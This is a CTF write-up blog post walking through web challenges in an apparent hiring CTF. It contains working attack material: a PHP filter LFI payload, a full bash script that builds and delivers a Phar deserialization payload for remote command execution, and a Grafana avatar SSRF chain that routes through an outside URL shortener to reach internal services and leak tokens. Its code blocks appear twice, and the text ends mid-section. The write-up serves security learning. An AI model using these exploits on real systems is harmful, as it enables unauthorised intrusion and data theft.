July 13, 2026
CloudSEK Hiring CTF Jul 2026: A Exploitation Journey
Hey everyone, hope you’re all doing well.

By vaaditya320
14 min read
Spent the weekend digging into a CTF put out by CloudSEK, five challenges in total, all built around web exploitation and scripting, with one from the AI & ML category.
What's interesting is that CloudSEK actually uses this CTF as their hiring pipeline for the Cyber Security Analyst Intern role. Refreshing to see companies testing skills directly instead of just filtering resumes.
In this writeup, I'll be walking you through my POV of how I approached and solved each of these challenges.
Challenge 1: Internal Affairs — 1 (100 points)
Added the hosts entry and hit the URL. Got a 503 maintenance page, generic corporate HTML, nothing useful. Tried the usual paths (/admin, /robots.txt, /api) on the default vhost, all same maintenance page.
Since nginx was on the box, I figured the real app might be on a different vhost. Fuzzed Host headers:
ffuf -w common.txt -u <http://15.206.47.5:9090/> -H "Host: FUZZ.discover.lab" -fs 150 -mc all -t 50ffuf -w common.txt -u <http://15.206.47.5:9090/> -H "Host: FUZZ.discover.lab" -fs 150 -mc all -t 50cms.discover.lab returned a 302 redirect to /index.php?page=views/login.php. Everything else was 503, 301 back to maintenance, or 400.
Added cms.discover.lab to /etc/hosts and opened it in the browser.
LFI
First thing I tried was classic traversal:
/index.php?page=../../../../etc/passwd
/index.php?page=/etc/passwd/index.php?page=../../../../etc/passwd
/index.php?page=/etc/passwdBoth returned empty. Dead end.
Then tried the PHP filter wrapper:
/index.php?page=php://filter/convert.base64-encode/resource=index.php/index.php?page=php://filter/convert.base64-encode/resource=index.phpGot base64 back in the response. LFI confirmed.
Decoded it:
base64 --decode <<< PD9waHAKaW5pX3NldCgnb3Blbl9iYXNlZGlyJywgJy92YXIvd3d3L2h0bWwvOi90bXAnKTsKc2Vzc2lvbl9zdGFydCgpOwoKJHBhZ2UgPSAkX0dFVFsncGFnZSddID8........base64 --decode <<< PD9waHAKaW5pX3NldCgnb3Blbl9iYXNlZGlyJywgJy92YXIvd3d3L2h0bWwvOi90bXAnKTsKc2Vzc2lvbl9zdGFydCgpOwoKJHBhZ2UgPSAkX0dFVFsncGFnZSddID8........From index.php:
ini_set('open_basedir', '/var/www/html/:/tmp');
// ...
@include $page;ini_set('open_basedir', '/var/www/html/:/tmp');
// ...
@include $page;Normal traversal to /etc/passwd fails because of open_basedir. But php://filter reads source through PHP's stream layer without executing it, so it bypasses both the path restriction and any session auth on protected views.
Flag
Dashboard is behind login, but the filter trick reads source, it doesn't run the PHP. Session checks never fire.
/index.php?page=php://filter/convert.base64-encode/resource=views/dashboard.php/index.php?page=php://filter/convert.base64-encode/resource=views/dashboard.phpDecode the base64 from the page body and the flag is sitting right there in the HTML:
<?php
if (!isset($_SESSION['user'])) {
header("Location: /index.php?page=views/login.php");
exit;
}
?>
<style>
.
.
.
</style>
<div class="dashboard-box">
<h2>Internal CMS</h2>
<p>Welcome, <?php echo htmlspecialchars($_SESSION['user']); ?>!</p>
<p>You are logged into the internal CMS panel.</p>
<p><strong>Flag:</strong> <code>CSEK_CTF_2026{flag_d0t_d0t_sl4sh_2_v1ct0ry}</code></p>
<div class="page-card">
<h3>Landing Page</h3>
<p>Main public-facing page.</p>
<div class="actions">
<a class="btn edit" href="/index.php?page=views/editor.php">Edit</a>
<a class="btn render" href="/views/preview.php">Render</a>
</div>
</div>
</div><?php
if (!isset($_SESSION['user'])) {
header("Location: /index.php?page=views/login.php");
exit;
}
?>
<style>
.
.
.
</style>
<div class="dashboard-box">
<h2>Internal CMS</h2>
<p>Welcome, <?php echo htmlspecialchars($_SESSION['user']); ?>!</p>
<p>You are logged into the internal CMS panel.</p>
<p><strong>Flag:</strong> <code>CSEK_CTF_2026{flag_d0t_d0t_sl4sh_2_v1ct0ry}</code></p>
<div class="page-card">
<h3>Landing Page</h3>
<p>Main public-facing page.</p>
<div class="actions">
<a class="btn edit" href="/index.php?page=views/editor.php">Edit</a>
<a class="btn render" href="/views/preview.php">Render</a>
</div>
</div>
</div>Flag: CSEK_CTF_2026{flag_d0t_d0t_sl4sh_2_v1ct0ry}
Challenge 2: Echoes of Runtime (100 points)
Opened the target in browser. Plain "Internal Operations Platform" landing page. Navbar with Home / About / Health / Info, two cards for Service Health and Build Info. No forms, no inputs, nothing to actually interact with.
View source (Ctrl+U) and the real links show up:
<nav>
<a href="/">Home</a>
<a href="/about">About</a>
<a href="/actuator/health">Health</a>
<a href="/actuator/info">Info</a>
</nav><nav>
<a href="/">Home</a>
<a href="/about">About</a>
<a href="/actuator/health">Health</a>
<a href="/actuator/info">Info</a>
</nav>/actuator/* means Spring Boot with Actuator exposed. That's the attack surface.
Actuator enum
Walked the usual actuator endpoints:
curl -s <http://15.206.47.5:8080/actuator/env>
curl -s <http://15.206.47.5:8080/actuator/mappings>
curl -s <http://15.206.47.5:8080/actuator/beans>
curl -s <http://15.206.47.5:8080/actuator/configprops>
curl -s <http://15.206.47.5:8080/actuator/threaddump>
curl -s <http://15.206.47.5:8080/actuator/heapdump>curl -s <http://15.206.47.5:8080/actuator/env>
curl -s <http://15.206.47.5:8080/actuator/mappings>
curl -s <http://15.206.47.5:8080/actuator/beans>
curl -s <http://15.206.47.5:8080/actuator/configprops>
curl -s <http://15.206.47.5:8080/actuator/threaddump>
curl -s <http://15.206.47.5:8080/actuator/heapdump>Everything 404'd except /actuator/heapdump, which returned 200 and downloaded a HPROF file. Full JVM heap snapshot, world-readable.
Heap triage
First instinct was grep for tokens:
strings -a -n 8 heapdump.hprof | grep -E 'github_pat_|ghp_|gho_|ghu_|ghs_' | head -20
ghp_9x7K2mQ4vN8pR1sT6uY3wA5bC0dE2fG4hJ6strings -a -n 8 heapdump.hprof | grep -E 'github_pat_|ghp_|gho_|ghu_|ghs_' | head -20
ghp_9x7K2mQ4vN8pR1sT6uY3wA5bC0dE2fG4hJ6Looks like a GitHub PAT. Tried it:
curl -H "Authorization: token ghp_9x7K2mQ4vN8pR1sT6uY3wA5bC0dE2fG4hJ6" <https://api.github.com/user>
# {"message":"Bad credentials", ...}curl -H "Authorization: token ghp_9x7K2mQ4vN8pR1sT6uY3wA5bC0dE2fG4hJ6" <https://api.github.com/user>
# {"message":"Bad credentials", ...}Dead end. The heap is salted with fake credential classes like ExpiredGithubToken, FakeAwsClientConfig, FakeGoogleApiKeyHolder, ObfuscatedTokenLoader, etc. Classic chaff to burn time.
Real signal
Stopped chasing token-shaped strings and looked at what objects were actually in the dump:
strings -a -n 8 heapdump.hprof | grep -B 5 -A 5 'github'
com.internalops.heapgen.model.GitHubRepository"
godfather-commits!
internal-ops-platform!strings -a -n 8 heapdump.hprof | grep -B 5 -A 5 'github'
com.internalops.heapgen.model.GitHubRepository"
godfather-commits!
internal-ops-platform!A GitHubRepository object with owner godfather-commits and repo internal-ops-platform. Not wrapped in a Fake... class, so this one felt real.
Searched GitHub for godfather-commits/internal-ops-platform. Nothing. Misdirection. The class is named GitHubRepository but the actual repo lives on GitLab:
<https://gitlab.com/godfather-commits/internal-ops><https://gitlab.com/godfather-commits/internal-ops>Flag
Repo is public, two files: README.md and .env
Inside .env I found the flag
Flag: CSEK_CTF_2026{flag_h34pdump_l34k_p4t}
Challenge 3: Internal Affairs — 2 (200 points)
Getting in
Part 1 LFI already told us login hits a SQLite DB. Same trick pulled the file:
/index.php?page=php://filter/convert.base64-encode/resource=data/discover_login.sqlite/index.php?page=php://filter/convert.base64-encode/resource=data/discover_login.sqliteDecode, open in sqlite. One user:
nullbyt0 : 20eef2f52208fab523332d12b6429cf4nullbyt0 : 20eef2f52208fab523332d12b6429cf4CrackStation cracked the MD5 → discovera1b2b3y4. Logged in.
Dashboard shows the part 1 flag again, but now there are Edit and Render buttons. That's the part 2 surface.
What looked weird after login
Editor page has two fields: HTML content, and Uploaded File Path. Not a URL. A full filesystem path. The hint on the page literally says images live at /var/www/uploads/.
Upload page only accepts PNG/JPG, but after upload it prints the full server path back via AJAX:
/var/www/uploads/7afaf4af5a1125a07e662a1db1171f7d.jpg/var/www/uploads/7afaf4af5a1125a07e662a1db1171f7d.jpgClicking Render hits a standalone endpoint, /views/preview.php, not routed through index.php?page=. It reads your session draft, checks the file exists, calls getimagesize() on it, renders HTML.
At this point I didn't know it was deserialization yet. My first thought was simpler: can I point that path field at something I shouldn't? /etc/passwd, another user's file, something like that. Normal file-read curiosity.
So I went back to the Part 1 LFI tab and started reading the PHP source properly.
Reading the source (where deserialization clicked)
Pulled preview.php and the class files:
?page=php://filter/convert.base64-encode/resource=views/preview.php
?page=php://filter/convert.base64-encode/resource=classes/SafeRenderer.php
?page=php://filter/convert.base64-encode/resource=classes/HtmlContent.php?page=php://filter/convert.base64-encode/resource=views/preview.php
?page=php://filter/convert.base64-encode/resource=classes/SafeRenderer.php
?page=php://filter/convert.base64-encode/resource=classes/HtmlContent.phpThe relevant bit in preview.php:
if (!empty($uploadedFilePath)) {
$path = $uploadedFilePath;
if (!file_exists($path)) {
die("Referenced file does not exist.");
}
@getimagesize($path);
// ...
}if (!empty($uploadedFilePath)) {
$path = $uploadedFilePath;
if (!file_exists($path)) {
die("Referenced file does not exist.");
}
@getimagesize($path);
// ...
}Two things jumped out:
$pathis fully user-controlled. Whatever I type in the editor's "Uploaded File Path" field goes straight intofile_exists()andgetimagesize().SafeRendererlooks like a gadget, not a security feature:
class SafeRenderer {
public $callback;
public $data;
public function render($html) {
if ($this->callback && is_callable($this->callback)) {
return call_user_func($this->callback, $this->data . $html);
}
// ...
}
}class SafeRenderer {
public $callback;
public $data;
public function render($html) {
if ($this->callback && is_callable($this->callback)) {
return call_user_func($this->callback, $this->data . $html);
}
// ...
}
}Public $callback and $data. If I control those, call_user_func($this->callback, $this->data . $html) is basically "call any PHP function with any argument I want." Set $callback = "system" and $data = "id; " → command execution.
And HtmlContent ties it together:
class HtmlContent {
public $html;
public $renderer;
public function __destruct() {
if ($this->renderer instanceof SafeRenderer) {
echo $this->renderer->render($this->html);
}
}
}class HtmlContent {
public $html;
public $renderer;
public function __destruct() {
if ($this->renderer instanceof SafeRenderer) {
echo $this->renderer->render($this->html);
}
}
}When an HtmlContent object gets destroyed at the end of the request, it calls SafeRenderer::render(). Classic POP chain (Property Oriented Programming). You don't need to call anything directly; you just need PHP to reconstruct an object with the right properties and let the destructor fire.
There's no unserialize() anywhere in the user-facing code though. So how do you get PHP to create your HtmlContent object?
That's where phar:// comes in.
Why Phar
I knew from writeups and previous HackTheBox machines and portswigger lab that when PHP functions like file_exists(), filesize(), or getimagesize() receive a phar:// path, PHP reads the file as a Phar archive and automatically unserializes the metadata stored inside it.
So the chain in my head became:
The upload only checks the file extension (.jpg), not what's inside. The path field accepts phar:// wrappers. The preview endpoint calls file functions on that path. Three pieces that only make sense together once you've read the source.
Building the payload
Quick PHP script to build the Phar:
<?php
class SafeRenderer { public $callback; public $data; }
class HtmlContent { public $html; public $renderer; }
@unlink('/tmp/exploit.phar');
$p = new Phar('/tmp/exploit.phar');
$p->startBuffering();
$p->addFromString('test.txt', 'test');
$o = new HtmlContent();
$o->html = '';
$s = new SafeRenderer();
$s->callback = 'system';
$s->data = 'id; ';
$o->renderer = $s;
$p->setMetadata($o); // this is what gets unserialized
$p->stopBuffering();
copy('/tmp/exploit.phar', '/tmp/exploit.jpg');
php -d phar.readonly=0 exploit.php<?php
class SafeRenderer { public $callback; public $data; }
class HtmlContent { public $html; public $renderer; }
@unlink('/tmp/exploit.phar');
$p = new Phar('/tmp/exploit.phar');
$p->startBuffering();
$p->addFromString('test.txt', 'test');
$o = new HtmlContent();
$o->html = '';
$s = new SafeRenderer();
$s->callback = 'system';
$s->data = 'id; ';
$o->renderer = $s;
$p->setMetadata($o); // this is what gets unserialized
$p->stopBuffering();
copy('/tmp/exploit.phar', '/tmp/exploit.jpg');
php -d phar.readonly=0 exploit.phpNeed phar.readonly=0 locally or PHP won't let you create Phar files.
Hit and trial (what didn't work)
First attempt: prepend a JPEG header to make it look like a real image. Uploaded it, set the phar:// path, hit preview.
Referenced file does not exist.Referenced file does not exist.PHP couldn't parse it as a valid Phar. The fake JPEG bytes broke it.
Second attempt: upload the raw Phar bytes with just a .jpg extension. No image header, no polyglot nonsense. Server only cared about the extension anyway.
That worked.
Triggering it
Clicking through upload → editor → preview every time got old fast, so I wrapped the whole chain in a script. It builds the Phar (or reuses /tmp/exploit.jpg), logs in, uploads, sets the phar:// path in the editor session, hits preview, and prints command output.
Save as ia2-exploit.sh:
#!/usr/bin/env bash
# Internal Affairs - 2 | Phar deserialization exploit
set -euo pipefail
TARGET="<http://15.206.47.5:9090>"
HOST="cms.discover.lab"
USER="nullbyt0"
PASS="discovera1b2b3y4"
COOKIE="/tmp/cms_cookies_ia2.txt"
PAYLOAD="/tmp/exploit.jpg"
CMD="id"
USE_EXISTING=0
usage() {
sed -n '2,14p' "$0" | sed 's/^# \{0,1\}//'
exit "${1:-0}"
}
while [[ $# -gt 0 ]]; do
case "$1" in
-h|--help) usage 0 ;;
-e|--use-existing) USE_EXISTING=1; shift ;;
-f|--file) PAYLOAD="$2"; USE_EXISTING=1; shift 2 ;;
--target) TARGET="$2"; shift 2 ;;
--host) HOST="$2"; shift 2 ;;
--user) USER="$2"; shift 2 ;;
--pass) PASS="$2"; shift 2 ;;
-*) echo "[-] Unknown option: $1" >&2; usage 1 ;;
*) CMD="$1"; shift ;;
esac
done
build_phar() {
echo "[*] Building Phar POP payload (cmd: $CMD)..."
php -d phar.readonly=0 -r "
class SafeRenderer { public \$callback; public \$data; }
class HtmlContent { public \$html; public \$renderer; }
@unlink('/tmp/exploit.phar');
\$p = new Phar('/tmp/exploit.phar');
\$p->startBuffering();
\$p->addFromString('test.txt', 'test');
\$o = new HtmlContent();
\$o->html = '';
\$s = new SafeRenderer();
\$s->callback = 'system';
\$s->data = '$CMD; ';
\$o->renderer = \$s;
\$p->setMetadata(\$o);
\$p->stopBuffering();
copy('/tmp/exploit.phar', '/tmp/exploit.jpg');
echo '[+] Wrote /tmp/exploit.phar and /tmp/exploit.jpg';
"
}
login() {
echo "[*] Logging in as $USER..."
local code
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Host: $HOST" \
-X POST "$TARGET/index.php?page=views/login.php" \
-d "username=$USER&password=$PASS" \
-c "$COOKIE" -b "$COOKIE" -L)
if [[ ! -f "$COOKIE" ]]; then
echo "[-] Login failed - no cookie file created (HTTP $code)" >&2
exit 1
fi
echo "[+] Session saved to $COOKIE"
}
upload() {
if [[ ! -f "$PAYLOAD" ]]; then
echo "[-] Payload not found: $PAYLOAD" >&2
echo " Build one first: php -d phar.readonly=0 your_exploit.php" >&2
echo " Or run without --use-existing so this script builds it." >&2
exit 1
fi
echo "[*] Uploading $PAYLOAD as image/jpeg..."
local resp path
resp=$(curl -s -H "Host: $HOST" -b "$COOKIE" \
-F "image=@${PAYLOAD};type=image/jpeg" \
"$TARGET/views/upload.php")
if ! path=$(echo "$resp" | python3 -c "
import json, sys
try:
data = json.load(sys.stdin)
print(data['path'])
except Exception:
sys.exit(1)
" 2>/dev/null); then
echo "[-] Upload failed. Raw response:" >&2
echo "$resp" >&2
exit 1
fi
echo "[+] Uploaded to: $path"
REMOTE_PATH="$path"
}
set_editor() {
echo "[*] Setting editor path to phar://$REMOTE_PATH ..."
curl -s -H "Host: $HOST" -b "$COOKIE" -X POST \
"$TARGET/index.php?page=views/editor.php" \
--data-urlencode "content=." \
--data-urlencode "uploadedFilePath=phar://$REMOTE_PATH" \
-o /dev/null
}
trigger() {
echo "[*] Triggering preview (deserialization)..."
local html out
html=$(curl -s -H "Host: $HOST" -b "$COOKIE" "$TARGET/views/preview.php")
if echo "$html" | grep -q "Referenced file does not exist"; then
echo "[-] Preview says file does not exist." >&2
echo " Common fixes:" >&2
echo " - Use raw Phar bytes, not a JPEG polyglot" >&2
echo " - Rebuild payload: ./ia2-exploit.sh '$CMD'" >&2
exit 1
fi
echo "[+] Command output:"
echo "----------------------------------------"
out=$(echo "$html" | sed -n '/preview-content">/,/<\/div>/p' \
| sed 's/<[^>]*>//g' | sed '/^[[:space:]]*$/d' | tail -n +2)
if [[ -z "$out" ]]; then
echo "(no output captured - check preview HTML manually)"
echo "$html" | tail -c 500
else
echo "$out"
fi
echo "----------------------------------------"
}
# --- main ---
if [[ "$USE_EXISTING" -eq 0 ]]; then
build_phar
else
echo "[*] Using existing payload: $PAYLOAD"
if [[ "$CMD" != "id" ]]; then
echo "[!] Note: --use-existing ignores --cmd unless you rebuild."
echo " To run a different command, omit --use-existing:"
echo " ./ia2-exploit.sh '$CMD'"
fi
fi
login
upload
set_editor
trigger
chmod +x ia2-exploit.sh
./ia2-exploit.sh id#!/usr/bin/env bash
# Internal Affairs - 2 | Phar deserialization exploit
set -euo pipefail
TARGET="<http://15.206.47.5:9090>"
HOST="cms.discover.lab"
USER="nullbyt0"
PASS="discovera1b2b3y4"
COOKIE="/tmp/cms_cookies_ia2.txt"
PAYLOAD="/tmp/exploit.jpg"
CMD="id"
USE_EXISTING=0
usage() {
sed -n '2,14p' "$0" | sed 's/^# \{0,1\}//'
exit "${1:-0}"
}
while [[ $# -gt 0 ]]; do
case "$1" in
-h|--help) usage 0 ;;
-e|--use-existing) USE_EXISTING=1; shift ;;
-f|--file) PAYLOAD="$2"; USE_EXISTING=1; shift 2 ;;
--target) TARGET="$2"; shift 2 ;;
--host) HOST="$2"; shift 2 ;;
--user) USER="$2"; shift 2 ;;
--pass) PASS="$2"; shift 2 ;;
-*) echo "[-] Unknown option: $1" >&2; usage 1 ;;
*) CMD="$1"; shift ;;
esac
done
build_phar() {
echo "[*] Building Phar POP payload (cmd: $CMD)..."
php -d phar.readonly=0 -r "
class SafeRenderer { public \$callback; public \$data; }
class HtmlContent { public \$html; public \$renderer; }
@unlink('/tmp/exploit.phar');
\$p = new Phar('/tmp/exploit.phar');
\$p->startBuffering();
\$p->addFromString('test.txt', 'test');
\$o = new HtmlContent();
\$o->html = '';
\$s = new SafeRenderer();
\$s->callback = 'system';
\$s->data = '$CMD; ';
\$o->renderer = \$s;
\$p->setMetadata(\$o);
\$p->stopBuffering();
copy('/tmp/exploit.phar', '/tmp/exploit.jpg');
echo '[+] Wrote /tmp/exploit.phar and /tmp/exploit.jpg';
"
}
login() {
echo "[*] Logging in as $USER..."
local code
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Host: $HOST" \
-X POST "$TARGET/index.php?page=views/login.php" \
-d "username=$USER&password=$PASS" \
-c "$COOKIE" -b "$COOKIE" -L)
if [[ ! -f "$COOKIE" ]]; then
echo "[-] Login failed - no cookie file created (HTTP $code)" >&2
exit 1
fi
echo "[+] Session saved to $COOKIE"
}
upload() {
if [[ ! -f "$PAYLOAD" ]]; then
echo "[-] Payload not found: $PAYLOAD" >&2
echo " Build one first: php -d phar.readonly=0 your_exploit.php" >&2
echo " Or run without --use-existing so this script builds it." >&2
exit 1
fi
echo "[*] Uploading $PAYLOAD as image/jpeg..."
local resp path
resp=$(curl -s -H "Host: $HOST" -b "$COOKIE" \
-F "image=@${PAYLOAD};type=image/jpeg" \
"$TARGET/views/upload.php")
if ! path=$(echo "$resp" | python3 -c "
import json, sys
try:
data = json.load(sys.stdin)
print(data['path'])
except Exception:
sys.exit(1)
" 2>/dev/null); then
echo "[-] Upload failed. Raw response:" >&2
echo "$resp" >&2
exit 1
fi
echo "[+] Uploaded to: $path"
REMOTE_PATH="$path"
}
set_editor() {
echo "[*] Setting editor path to phar://$REMOTE_PATH ..."
curl -s -H "Host: $HOST" -b "$COOKIE" -X POST \
"$TARGET/index.php?page=views/editor.php" \
--data-urlencode "content=." \
--data-urlencode "uploadedFilePath=phar://$REMOTE_PATH" \
-o /dev/null
}
trigger() {
echo "[*] Triggering preview (deserialization)..."
local html out
html=$(curl -s -H "Host: $HOST" -b "$COOKIE" "$TARGET/views/preview.php")
if echo "$html" | grep -q "Referenced file does not exist"; then
echo "[-] Preview says file does not exist." >&2
echo " Common fixes:" >&2
echo " - Use raw Phar bytes, not a JPEG polyglot" >&2
echo " - Rebuild payload: ./ia2-exploit.sh '$CMD'" >&2
exit 1
fi
echo "[+] Command output:"
echo "----------------------------------------"
out=$(echo "$html" | sed -n '/preview-content">/,/<\/div>/p' \
| sed 's/<[^>]*>//g' | sed '/^[[:space:]]*$/d' | tail -n +2)
if [[ -z "$out" ]]; then
echo "(no output captured - check preview HTML manually)"
echo "$html" | tail -c 500
else
echo "$out"
fi
echo "----------------------------------------"
}
# --- main ---
if [[ "$USE_EXISTING" -eq 0 ]]; then
build_phar
else
echo "[*] Using existing payload: $PAYLOAD"
if [[ "$CMD" != "id" ]]; then
echo "[!] Note: --use-existing ignores --cmd unless you rebuild."
echo " To run a different command, omit --use-existing:"
echo " ./ia2-exploit.sh '$CMD'"
fi
fi
login
upload
set_editor
trigger
chmod +x ia2-exploit.sh
./ia2-exploit.sh idOutput:
[*] Building Phar POP payload (cmd: id)...
[+] Wrote /tmp/exploit.phar and /tmp/exploit.jpg[*] Logging in as nullbyt0...
[+] Session saved to /tmp/cms_cookies_ia2.txt
[*] Uploading /tmp/exploit.jpg as image/jpeg...
[+] Uploaded to: /var/www/uploads/a59a251bd49a2eeceb3f4562c89ff01e.jpg
[*] Setting editor path to phar:///var/www/uploads/a59a251bd49a2eeceb3f4562c89ff01e.jpg ...
[*] Triggering preview (deserialization)...
[+] Command output:
----------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
----------------------------------------[*] Building Phar POP payload (cmd: id)...
[+] Wrote /tmp/exploit.phar and /tmp/exploit.jpg[*] Logging in as nullbyt0...
[+] Session saved to /tmp/cms_cookies_ia2.txt
[*] Uploading /tmp/exploit.jpg as image/jpeg...
[+] Uploaded to: /var/www/uploads/a59a251bd49a2eeceb3f4562c89ff01e.jpg
[*] Setting editor path to phar:///var/www/uploads/a59a251bd49a2eeceb3f4562c89ff01e.jpg ...
[*] Triggering preview (deserialization)...
[+] Command output:
----------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
----------------------------------------Flag
Got shell, so first thing was look around:
./ia2-exploit.sh 'ls /var/www'
uploads./ia2-exploit.sh 'ls /var/www'
uploadsuploads is the folder the app kept telling us about. That's where uploaded images land.
Check what's inside:
./ia2-exploit.sh 'ls /var/www/uploads'./ia2-exploit.sh 'ls /var/www/uploads'flag2.txt sitting right there.
./ia2-exploit.sh 'cat /var/www/uploads/flag2.txt./ia2-exploit.sh 'cat /var/www/uploads/flag2.txt
Flag: CSEK_CTF_2026{flag_ph4r_m3t4d4t4_und3s3r14l1z3d}
Challenge 4: DevSecOops — Linked Flaws — Rebirth (250 points)
1. BeVigil Report
I pulled the static analysis report from BeVigil:
JotBox BeVigil: The world's first mobile app security search engine. Scan and check the security score of your mobile apps…
2. Leaked GitLab Repository (Assets Section)
Under the assets section, I noticed an internal GitLab repository URL exposed in the APK:
I opened the link in a browser:
<https://gitlab.com/Dev102_1/integration-stack><https://gitlab.com/Dev102_1/integration-stack>The project does not exist publicly. 404. The repo is private, deleted, or renamed. I did not stop there; I pivoted to the username in the URL instead.
4. GitLab OSINT: Following Dev102_1
4.1 User profile
<https://gitlab.com/Dev102_1><https://gitlab.com/Dev102_1>The user exists. Display name Developer 0102.
4.2 Recent activity
In his recent activity, Dev102_1 joined a repository
<https://gitlab.com/observability-platform/grafana><https://gitlab.com/observability-platform/grafana>That was the real lead. The leaked integration-stack path was a breadcrumb to the engineer; the observability Grafana fork was the actual repo with recent changes.
5. Recent Commit on observability-platform/grafana
I opened the Grafana repo and looked at the most recent commit on top. It was made by developer1337.
The diff was on docs/sources/datasources/loki.md. A few documentation changes, but the Loki URI change jumped out:
-| `URL` | The URL of the Loki instance, e.g., `http://localhost:3100` |
+| `URL` | The URL of the Loki instance, e.g., `http://loki.local:3100` |-| `URL` | The URL of the Loki instance, e.g., `http://localhost:3100` |
+| `URL` | The URL of the Loki instance, e.g., `http://loki.local:3100` |And in the YAML provisioning example:
- url: <http://localhost:3100>
+ url: <http://loki.local:3100>- url: <http://localhost:3100>
+ url: <http://loki.local:3100>The same commit also removed example credentials from the docs (basicAuthUser: my_user, basicAuthPassword: test_password). Someone tried to clean up a rushed mistake but left the internal hostname loki.local behind.
At this point I knew:
- Internal Loki lives at
loki.local:3100 - There is an observability stack tied to this org
- I needed to find where Grafana/Loki actually runs
6. Infrastructure Recon: nmap
From earlier recon on the same CTF box, I had already run a service scan:
nmap -sV -Pn 15.206.47.5nmap -sV -Pn 15.206.47.5
Port 5000 lined up with Grafana from the GitLab trail. Port 8080 would matter later when Loki logs pointed at /ops/api/v1/....
7. Grafana Version Check: CVE-2020–13379
To confirm what was running on 5000:
curl -s "<http://15.206.47.5:5000/api/health>"
{
"commit": "ef5b586d7d",
"database": "ok",
"version": "7.0.1"
}curl -s "<http://15.206.47.5:5000/api/health>"
{
"commit": "ef5b586d7d",
"database": "ok",
"version": "7.0.1"
}
Grafana 7.0.1, affected by CVE-2020–13379 (avatar SSRF, versions 3.0.1 through 7.0.1). Unauthenticated attackers can make Grafana fetch arbitrary URLs via the /avatar/ endpoint.
7.1 Confirming the CVE with a public payload
I used the publicly available nuclei template payload to verify SSRF was real:
curl -s -D - -o /tmp/ssrf_test.jpg \
"<http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1>"curl -s -D - -o /tmp/ssrf_test.jpg \
"<http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1>"Response: HTTP/1.1 200 OK, Content-Type: image/jpeg, body ~56KB containing Cloudflare / 1.1.1.1 page content embedded in the image. Nuclei also confirmed the finding.
8. SSRF to Internal Loki: da.gd Redirector
Direct SSRF to 127.0.0.1:3100 or loki.local:3100 returned Grafana's fallback avatar (1486 bytes). The lab blocks private-IP fetches even through the imgur bypass.
The working trick: create a short link that 302-redirects to the internal URL. Grafana follows the redirect from inside the Docker network.
da.gd accepts http://loki.local:... URLs.
8.1 Create short links
curl -s "<https://da.gd/s?url=http://loki.local:3100/ready>"
# → <https://da.gd/vK3Qq>
curl -s "<https://da.gd/s?url=http://loki.local:3100/loki/api/v1/labels>"
# → <https://da.gd/gpBBs>
curl -s "<https://da.gd/s?url=http://loki.local:3100/loki/api/v1/label/job/values>"
# → <https://da.gd/jCLMZ>curl -s "<https://da.gd/s?url=http://loki.local:3100/ready>"
# → <https://da.gd/vK3Qq>
curl -s "<https://da.gd/s?url=http://loki.local:3100/loki/api/v1/labels>"
# → <https://da.gd/gpBBs>
curl -s "<https://da.gd/s?url=http://loki.local:3100/loki/api/v1/label/job/values>"
# → <https://da.gd/jCLMZ>8.2 Fire through Grafana avatar SSRF
Public CVE payload format, swapped to hit the shortener:
<http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fda.gd%252F><CODE><http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fda.gd%252F><CODE>Verify Loki is reachable:
curl -s "<http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fda.gd%252FvK3Qq>"
readycurl -s "<http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fda.gd%252FvK3Qq>"
readyList labels:
curl -s "<http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fda.gd%252FgpBBs>"
{"status":"success"}curl -s "<http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fda.gd%252FgpBBs>"
{"status":"success"}Get job names:
curl -s "<http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fda.gd%252FjCLMZ>"
{"status":"success","data":["auth-service"]}curl -s "<http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fda.gd%252FjCLMZ>"
{"status":"success","data":["auth-service"]}
9. Loki Log Analysis
With auth-service identified, I queried its logs through the same SSRF chain.
First, shorten the query_range URL:
curl -s "<https://da.gd/s?url=http://loki.local:3100/loki/api/v1/query_range?query=%7Bjob%3D%22auth-service%22%7D&start=><start_ns>&end=<end_ns>&limit=200"
# → <https://da.gd/OAbb>curl -s "<https://da.gd/s?url=http://loki.local:3100/loki/api/v1/query_range?query=%7Bjob%3D%22auth-service%22%7D&start=><start_ns>&end=<end_ns>&limit=200"
# → <https://da.gd/OAbb>Then fetch via SSRF:
curl -s "<http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fda.gd%252FOAbb>" \
-o /tmp/loki_logs.jsoncurl -s "<http://15.206.47.5:5000/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252Fda.gd%252FOAbb>" \
-o /tmp/loki_logs.json~21KB of JSON came back. Buried in the health-check noise, these lines mattered:
GET /ops/api/v1/flag HTTP/1.1 Host=15.206.47.5:8080 -> 200 OK
GET /ops/api/v1/health HTTP/1.1 Host=15.206.47.5:8080 -> 200 OK
GET /ops/api/v1/data/92b78203-29cf-4677-a61e-d32fd1aa4d61 HTTP/1.1 Host=15.206.47.5:8080 -> 401 Unauthorized
GET /ops/api/v1/data/92b78203-29cf-4677-a61e-d32fd1aa4d61 HTTP/1.1 Host=15.206.47.5:8080
Authorization="Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...." -> 200 OK user=ops-adminGET /ops/api/v1/flag HTTP/1.1 Host=15.206.47.5:8080 -> 200 OK
GET /ops/api/v1/health HTTP/1.1 Host=15.206.47.5:8080 -> 200 OK
